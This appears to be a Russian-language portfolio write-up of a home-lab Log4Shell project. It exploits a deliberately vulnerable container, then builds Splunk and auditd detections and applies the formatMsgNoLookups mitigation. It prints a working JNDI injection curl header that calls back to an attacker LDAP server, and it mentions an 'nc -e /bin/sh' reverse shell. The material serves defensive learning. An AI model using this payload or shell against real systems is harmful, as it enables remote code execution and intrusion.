
Практический проект, демонстрирующий эксплуатацию Log4Shell, создание правил обнаружения с помощью Splunk и auditd, а также проверенное устранение уязвимости в контейнеризированной среде.
Практический проект по наступательной и оборонительной безопасности, моделирующий полный жизненный цикл уязвимости Log4Shell: эксплуатация с виртуальной машины атакующего, инженерия обнаружения в Splunk и подтверждённое устранение уязвимости.
Большинство портфолио-проектов в этой области ограничиваются брутфорсом SSH. Мне хотелось продемонстрировать более полный набор навыков: эксплуатация реальной, высококритичной CVE от начала до конца, а затем переход на оборонительную сторону для её обнаружения и устранения — тот же жизненный цикл, через который на практике проходит инженер по безопасности или инженер по обнаружению.
illshot (192.168.1.85), нативно запускающая Splunk для приёма логов и обнаруженияghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181), запущенное в Docker-контейнере, логи передаются в syslog Mint через --log-driver=syslog1. Настройка слушателя и инструмента эксплуатации. Запустил netcat-слушатель на Kali для перехвата обратного вызова reverse shell, затем запустил самостоятельно собранный инструмент JNDI-Injection-Exploit (собран из исходников, так как готовые сборки были недоступны) для обслуживания вредоносной LDAP-нагрузки.

2. Отправка эксплойта. Доставил нагрузку через специально сформированный HTTP-заголовок, содержащий строку JNDI-запроса, нацеленную на уязвимое приложение на порту 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Перехват shell. Уязвимое приложение обработало заголовок, инициировало JNDI-запрос и обратилось к моей машине Kali для загрузки и выполнения вредоносного класса, что привело к получению reverse shell с правами root внутри контейнера.

Пост-эксплуатационная разведка (как это сделал бы реальный атакующий): подтвердил доступ root, просмотрел переменные окружения (чистые, без утёкших секретов), изучил jar-файл приложения и просмотрел /etc/passwd, который выявил набор неиспользуемых служебных учётных записей базового образа Alpine — хороший пример вводящего в заблуждение артефакта разведки, не отражающего реальную поверхность атаки.
Splunk, принимающий syslog Mint, зафиксировал всю цепочку атаки: исходный JNDI-запрос, возникшие в результате NamingException и трассировку стека ClassCastException, а также связанные команды sudo docker exec, использованные для взаимодействия с контейнером на уровне хоста.

Разведка также была видна до начала эксплуатации: логи межсетевого экрана UFW зафиксировали трафик Nmap-сканирования с Kali против цели.

Ключевая техническая находка этого проекта: «сырой» reverse shell через nc -e /bin/sh никогда не проходит аутентификацию через PAM, поэтому он не создаёт никаких записей в auth.log и вообще не создаёт сеанса входа. Сама по себе такая оболочка была бы невидима для стандартного логирования на основе входа в систему.
Однако Docker-контейнеры используют ядро хоста, а не полностью изолированные виртуализированные ядра. Это означает, что каждый execve (запуск процесса) внутри контейнера по-прежнему виден подсистеме аудита хоста. Я настроил auditd на Mint для отслеживания системных вызовов execve по всей системе, пометил правило (container_exec) и подключил /var/log/audit/audit.log в Splunk как новый источник данных.

Повторный запуск эксплойта и выполнение пост-эксплуатационных команд (whoami, cat /etc/passwd, ls /app, env) подтвердили теорию: auditd зафиксировал каждую команду, включая сам вызов «сырого» reverse shell через nc, с IP-адресом и портом атакующего, напрямую видимыми в зарегистрированных аргументах.

Более широкая пост-эксплуатационная активность также была полностью видима и выполнялась через /bin/busybox (минимальная оболочка контейнера реализует большинство Unix-инструментов как символические ссылки на один бинарный файл BusyBox, поэтому comm показывает busybox, а exe по-прежнему разрешает полный путь):

Ещё одна деталь, заслуживающая внимания: каждое зафиксированное событие показывало auid=4294967295 (не задан/нет сеанса входа) в паре с uid=0 (root). Сама по себе такая комбинация является веским доказательством неаутентифицированной оболочки — процесса, работающего с полными правами root, но без какого-либо аудит-идентификатора входа, — именно то, чего следует ожидать от оболочки, полностью обошедшей обычную аутентификацию.
Ключевые запросы обнаружения:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Применил официальное временное смягчение, опубликованное Apache и CISA до выхода пропатченных версий Log4j: отключение JNDI-поиска в сообщениях через системное свойство JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
Повторная попытка той же самой цепочки атаки после устранения уязвимости подтвердила исправление: запрос по-прежнему поступал и регистрировался, но JNDI-поиск так и не был выполнен — ни обратного вызова, ни трассировки стека, ни shell.

Это сравнение — самое наглядное доказательство ценности проекта: исходная атака порождала полную цепочку эксплуатации со 136+ связанными событиями логов и успешным обратным вызовом. После устранения уязвимости идентичная атака порождает одну безобидную строку лога без какой-либо последующей активности поиска.
Стоит отметить для эшелонированной защиты: попытка эксплуатации оставалась видимой в логах даже после устранения уязвимости. Ценность обнаружения не исчезает после установки патча — система с патчем, которая позже будет неправильно сконфигурирована, или вариант полезной нагрузки по-прежнему будут перехвачены теми же запросами обнаружения, созданными в этом проекте.